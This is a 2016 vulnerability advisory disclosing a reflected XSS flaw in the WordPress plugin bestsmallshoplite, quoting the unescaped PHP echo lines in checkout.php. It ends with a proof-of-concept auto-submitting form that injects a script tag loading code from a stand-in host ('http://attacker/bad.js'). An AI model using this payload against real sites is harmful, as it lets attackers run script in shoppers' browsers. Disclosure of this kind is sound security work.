Advisory #: 1230
Title: Reflected XSS in wordpress plugin bestsmallshoplite
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/bestsmallshoplite
Downloads: 4468
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: bestsmallshoplite
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./bestsmallshoplite/checkout.php: 7:<strong><?php echo $_POST['first_name']; ?>, thank you for the information this means your order can now be processed.</strong> 9:<p>We have just sent you an e-mail to <?php echo $_POST['email']; ?> confirming your order. If you have any questions please contact us a quote your order reference <strong><?php echo substr($_SESSION['BSS'],0,10); ?>.</strong> The variable first_name appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./bestsmallshoplite/checkout.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3.  <form name=TheForm action=http://[target]/wp-content/plugins/bestsmallshoplite/checkout.php method=post> <input type=hidden name=first_name value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>